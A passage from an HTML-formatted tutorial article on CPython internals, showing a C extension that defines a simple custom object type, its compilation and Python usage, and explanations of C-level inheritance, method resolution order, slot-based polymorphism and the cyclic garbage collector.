#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;Python.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="c1"&gt; // For PySys_WriteStdout&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="c1"&gt;// 1. Define the instance structure (must start with PyObject_HEAD)&lt;/span&gt;
&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;PyObject_HEAD&lt;/span&gt;
    &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Our custom data member&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;SimpleObject&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// 2. Implement tp_dealloc: Frees the object's memory&lt;/span&gt;
&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt;
&lt;span class="nf"&gt;SimpleObject_dealloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SimpleObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Py_TYPE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;tp_free&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PyObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Call the type's free function&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// 3. Implement tp_repr: Provides string representation ( __repr__ )&lt;/span&gt;
&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;PyObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="nf"&gt;SimpleObject_repr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SimpleObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;PyUnicode_FromFormat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&amp;lt;SimpleObject value=%ld at %p&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                 &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// 4. Implement tp_new: Creates new instances ( __new__ )&lt;/span&gt;
&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;PyObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="nf"&gt;SimpleObject_new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PyTypeObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PyObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PyObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;kwds&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;SimpleObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;initial_value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Default value&lt;/span&gt;

    &lt;span class="c1"&gt;// Parse optional initial value&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;PyArg_ParseTuple&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"|l"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;initial_value&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Allocate memory for the object&lt;/span&gt;
    &lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SimpleObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;tp_alloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Initialize our custom member&lt;/span&gt;
    &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;initial_value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PyObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// 5. Define the PyTypeObject structure&lt;/span&gt;
&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;PyTypeObject&lt;/span&gt; &lt;span class="n"&gt;SimpleType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;PyVarObject_HEAD_INIT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// Initializes ob_refcnt and ob_type (set by PyType_Ready)&lt;/span&gt;
   &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tp_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"simple_module.SimpleObject"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Type name&lt;/span&gt;
   &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tp_basicsize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SimpleObject&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="c1"&gt;// Size of instance&lt;/span&gt;
   &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tp_dealloc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;destructor&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;SimpleObject_dealloc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Deallocation function&lt;/span&gt;
   &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tp_repr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;reprfunc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;SimpleObject_repr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Representation function&lt;/span&gt;
   &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tp_flags&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Py_TPFLAGS_DEFAULT&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Py_TPFLAGS_BASETYPE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Default flags, allow subclassing&lt;/span&gt;
   &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tp_doc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"A simple custom object with an integer value."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Docstring&lt;/span&gt;
   &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tp_new&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SimpleObject_new&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Object creation function&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="c1"&gt;// ---&lt;/span&gt;
&lt;span class="c1"&gt;// Corrected Module method definitions&lt;/span&gt;
&lt;span class="c1"&gt;// Declare SimpleModuleMethods as an ARRAY of PyMethodDef&lt;/span&gt;
&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;PyMethodDef&lt;/span&gt; &lt;span class="n"&gt;SimpleModuleMethods&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="c1"&gt;// Sentinel&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="c1"&gt;// ---&lt;/span&gt;
&lt;span class="c1"&gt;// 7. Define module structure&lt;/span&gt;
&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;PyModuleDef&lt;/span&gt; &lt;span class="n"&gt;simplemodule&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;PyModuleDef_HEAD_INIT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s"&gt;"simple_module"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Module name&lt;/span&gt;
    &lt;span class="s"&gt;"A module defining a simple custom object."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Module docstring&lt;/span&gt;
    &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Size of per-interpreter state&lt;/span&gt;
    &lt;span class="n"&gt;SimpleModuleMethods&lt;/span&gt; &lt;span class="c1"&gt;// Module methods (now correctly a pointer to the array)&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="c1"&gt;// 8. Module initialization function&lt;/span&gt;
&lt;span class="n"&gt;PyMODINIT_FUNC&lt;/span&gt;
&lt;span class="nf"&gt;PyInit_simple_module&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;PyObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// Finalize the type object&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PyType_Ready&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;SimpleType&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Create the module&lt;/span&gt;
    &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;PyModule_Create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;simplemodule&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Add the custom type to the module&lt;/span&gt;
    &lt;span class="n"&gt;Py_INCREF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;SimpleType&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Add a strong reference for the module&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PyModule_AddObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"SimpleObject"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PyObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;SimpleType&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;Py_DECREF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;SimpleType&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Decrement if adding fails&lt;/span&gt;
        &lt;span class="n"&gt;Py_DECREF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Compilation (Linux/macOS):&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;gcc -shared -fPIC -I/usr/include/python3.x -o simple_module.so simple_module.c (Replace python3.x with your Python version, ex: python3.10)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Python Usage:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;simple_module&lt;/span&gt;
&lt;span class="n"&gt;obj1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;simple_module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;SimpleObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# Expected output: &amp;lt;SimpleObject value=100 at 0x...&amp;gt;
&lt;/span&gt;&lt;span class="n"&gt;obj2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;simple_module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;SimpleObject&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# Expected output: &amp;lt;SimpleObject value=0 at 0x...&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let this be a boilerplate for your next CPython custom type. And this marked the end of this main section, and I promise the next section in which we will have two more interactive examples will be the last main section of this article, (cough x2) before the Conclusion :).&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Advanced Concepts (For me): OOP, GC, and Performance
&lt;/h3&gt;

&lt;h4&gt;
  
  
  A. Inheritance and Method Resolution in CPython
&lt;/h4&gt;

&lt;p&gt;CPython’s object model provides a simple but powerful and fast means of inheritance, method dispatch and polymorphism at the C level. While this implementation is much simpler than Python’s high level multiple inheritance, this C layer is optimized for performance and resembles the dynamic behavior of Python with slot based mechanics and linearized resolution paths.&lt;/p&gt;

&lt;h4&gt;
  
  
  1. C-Level Inheritance: &lt;code&gt;tp_base&lt;/code&gt; and &lt;code&gt;PyType_Ready()&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;At the C level, inheritance is handled through the tp_base slot in the PyTypeObject struct. This pointer references the immediate base type from which the current type inherits.&lt;/p&gt;

&lt;p&gt;Initialization is handled by PyType_Ready(). During this process, CPython does something called “ &lt;strong&gt;Inheritance-by-copy&lt;/strong&gt; ”, if a slot in the new type is unset, the value of that slot is copied straight from the PyTypeObject of the base type. For instance, PyType_Ready() will copy tp_repr from its tp_base (typically PyBaseObject_Type ) if it is not defined in the new type.&lt;/p&gt;

&lt;p&gt;This copy-based approach is a purposeful performance enhancement. CPython prevents recurrent lookups along the inheritance chain during regular operation by resolving and storing function pointers at initialization time. The drawback is that since the values were set at the time of creation, modifications made to a base type’s slots later on will not immediately affect C-defined subclasses that have already been initialized (since the values were fixed at the time of their creation).&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Method Resolution Order (MRO): C3 Linearization
&lt;/h4&gt;

&lt;p&gt;Earlier, when looking at &lt;strong&gt;attribute access&lt;/strong&gt; ( &lt;strong&gt;3-A-1&lt;/strong&gt; ) (tp_getattro), we saw that Python needs to decide &lt;em&gt;where&lt;/em&gt; to look for an attribute. This section is all about that.&lt;/p&gt;

&lt;p&gt;At C-level inheritance is single, however CPython supports Python’s multiple inheritance through Method Resolution Order (MRO). MRO is the exact order in which the classes are searched when resolving a method or attribute, especially in complex class hierarchies where ambiguity (like the &lt;strong&gt;diamond problem&lt;/strong&gt;  — search for the term it's an issue that is very simple to understand) may occur.&lt;/p&gt;

&lt;p&gt;CPython uses the &lt;strong&gt;C3 linearization algorithm&lt;/strong&gt; to compute this order. This algorithm ensures:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Monotonicity (subclasses adhere to the order of the base class)&lt;/li&gt;
&lt;li&gt;Predictability (regardless of the order in which the method is defined, behavior is consistent)&lt;/li&gt;
&lt;li&gt;Determinism (the same result for the same hierarchy)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The result is stored in the tp_mro slot as a Python tuple of class objects. This slot is not inherited instead it is computed from scratch during PyType_Read().&lt;/p&gt;

&lt;p&gt;In python you can do below to inspect the mro:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;MyClass&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt; &lt;span class="n"&gt;__mro__&lt;/span&gt;
&lt;span class="n"&gt;MyClass&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mro&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When an attribute is accessed, the lookup starts with tp_getattro function. Most user defined types have this slot set to PyObject_GenericGetAttr, which performs the actual traversal of the MRO chain stored in tp_mro&lt;/p&gt;

&lt;p&gt;Let’s actually look at what happens internally during this attribute lookup:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First&lt;/strong&gt; , Traverse the MRO&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Second&lt;/strong&gt; , look for below in each class’s dictionary( tp_dict ):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Data Descriptors ( tp_descr_get, tp_descr_set )&lt;/li&gt;
&lt;li&gt;Method (from tp_methods )&lt;/li&gt;
&lt;li&gt;Members ( tp_members)&lt;/li&gt;
&lt;li&gt;Get/Set properties ( tp_getset )&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Third&lt;/strong&gt; , look into the instance's own __dict__, if and only if the attribute isn’t found in any class. If the attribute is still not found after this process, tp_getattro raises an AttributeError .&lt;/p&gt;

&lt;p&gt;This entire mechanism is implemented with tight, low overhead C logic, and these tp_getattro , tp_mro , tp_dict and the descriptor protocol forms the very foundation of Python’s attribute resolution behavior that we all love and use.&lt;/p&gt;

&lt;h4&gt;
  
  
  3. Polymorphism at the C Level
&lt;/h4&gt;

&lt;p&gt;Polymorphism as we all know is a very common concept used in Object Oriented Programming (OOP). Polymorphism in Python is achieved through two simple constructs which we already discussed, the ob_type field in every PyObject, and the slot-based design of PyTypeObject.&lt;/p&gt;

&lt;p&gt;We already know that every Python object begins with a pointer to its type. This ob_type pointer acts as the dispatch table. Whenever Python needs to perform an operation like calling an object, printing it, or accessing an attribute it simply checks the relevant slot in the object’s type (ex: tp_call for calling an object, tp_getattro to get an attribute)&lt;/p&gt;

&lt;p&gt;This means CPython does not need explicit type checks or casting to implement polymorphism. The behavior is resolved at the runtime based on the object’s type. Two completely unrelated types can both implement tp_len or tp_iter and the interpreter will correctly call the appropriate function based on ob_type.&lt;/p&gt;

&lt;p&gt;Yes, it's essentially runtime polymorphism, but not implemented with C++ style virtual tables or class hierarchies rather in pure C with lean, predictable mechanism built directly into CPython’s object model. This slot dispatch design makes the system compact and extensible with high performance and is perfectly aligned with Python’s dynamic nature.&lt;/p&gt;

&lt;h4&gt;
  
  
  B. Garbage Collection: Tackling Reference Cycles
&lt;/h4&gt;

&lt;h4&gt;
  
  
  1. The problem of Reference Cycles
&lt;/h4&gt;

&lt;p&gt;Reference counting is simple and efficient, however it cannot resolve &lt;em&gt;circular references.&lt;/em&gt; A circular reference occurred when two or more objects hold references to each other in a closed loop. In such cases, the ob_refcnt of each object never reaches zero, even if there is no external references. This makes them permanently unreachable from the program but never freed from memory.&lt;/p&gt;

&lt;p&gt;for example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In here, a references b and b references a . Even if we delete both names with del a,b the two lists still keep each other alive, and their reference counts remain above zero effectively creating memory leaks.&lt;/p&gt;

&lt;p&gt;These becomes really annoying in long running applications like servers, where memory leaks accumulate over time. Python therefore supplements reference counting with an additional mechanism which is called the &lt;strong&gt;“Cyclic Garbage Collector”&lt;/strong&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  2. CPython’s Cyclic Garbage Collector
&lt;/h4&gt;

&lt;p&gt;This Cyclic Garbage Collector is implemented in Modules/gcmodule.c (The gc module in Python). The garbage collector unlike the reference counting ( which runs continuously and deterministically), operates periodically and focuses only on objects that are containers (lists, dictionaries, sets and user defined objects that form cycles)&lt;/p&gt;

&lt;p&gt;Periodically, the GC scans these objects, looking for groups that only reference each other and when such groups are found and proven unreachable, they will be reclaimed.&lt;/p&gt;

&lt;p&gt;This is done with a “generational” algorithm (means it organizes into three groups based on their “age” / “how long it was alive”):&lt;/p&gt;

